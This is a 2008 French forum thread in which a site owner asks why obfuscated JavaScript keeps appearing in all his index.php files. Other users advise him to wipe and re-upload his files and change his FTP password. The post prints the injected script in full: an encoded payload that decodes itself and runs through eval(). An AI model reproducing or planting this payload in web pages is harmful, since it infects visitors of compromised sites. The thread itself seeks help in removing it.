Sécurite: Problème sur mes Index.php

**moonwar** · 17/11/2008, 05h15

Salitation,

Ca fait un bon moment, j'ai remarqué un code qui s'ajoute a tout mes fichiers index.php. Je ne connais ni l'origine ni la raison.

J'ai aussi remarqué que ce code vient juste après la balise <body> ou juste avant la balise </body>

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

<script language=JavaScript> function jbnb25(z){ var c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=Array(63,30,39,22,1,14,38,60,18,9,0,0,0,0,0,0,58,48,35,28,33,55,56,41,23,6,37,3,45,46,42,24,12,47,17,15,57,54,31,40,20,19,25,0,0,0,0,0,0,4,16,32,52,7,10,11,61,59,8,43,44,51,5,2,34,29,62,36,13,50,27,26,21,53,49);for(s=Math.ceil(c/m);s>0;s--){h='';for(i=Math.min(c,m);i>0;i--,c--){{x|=(d[z.charCodeAt(b++)-48])<<w;if(w){h+=String.fromCharCode(208^x&255);x>>=8;w-=2}else{w=6}}}eval(h);}}jbnb25('26kQdriGrSfGz8wGBUrhXrkQy10@drilJUvLr8N02fwMs3grEm1MUfwlh3g7rIvQyU5@2Y1LASNWmUM7F8fGcNr00V1ld8vMs6iQr@VMrwiQ0Y@0QV0rqIgGF@QW03NQdpV2z8fMrgwlr8iQhpVr@YMTJHMTTQ0hWV5Ty10rEgS726gLspvisHMFABvLT1gMsU1FcS57B8wN73viuYvMBofQz6N@rrkQyfQil0VMUfwlh3kiE2S')	</script>

Comment s'en debarasser et est-ce-que vous avez une idée sur la faille sécuritaire que ce code utilise.

Merci pour votre aide.

**12monkeys** · 17/11/2008, 19h50

Bonsoir

Je ne sais pas trop ce que fais ce code, tu auras peut être plus de succès sur le forum javascript...

Cependant si tu ne sais pas d'où ça viens, je peut te conseiller d'effacer tous tes fichiers sur ton espace ftp, et de renvoyer le tout de ton ordi, puis de changer le mot de passe de ton espace ftp...

**HiRoN** · 17/11/2008, 21h27

Cependant si tu ne sais pas d'où ça viens, je peut te conseiller d'effacer tous tes fichiers sur ton espace ftp, et de renvoyer le tout de ton ordi, puis de changer le mot de passe de ton espace ftp...

+ 1, si tu n'arrives pas à trouver la provenance du code, autant repartir sur des fichiers "sains"

Sécurite: Problème sur mes Index.php

Sécurité

Discussions similaires

Partager

Partager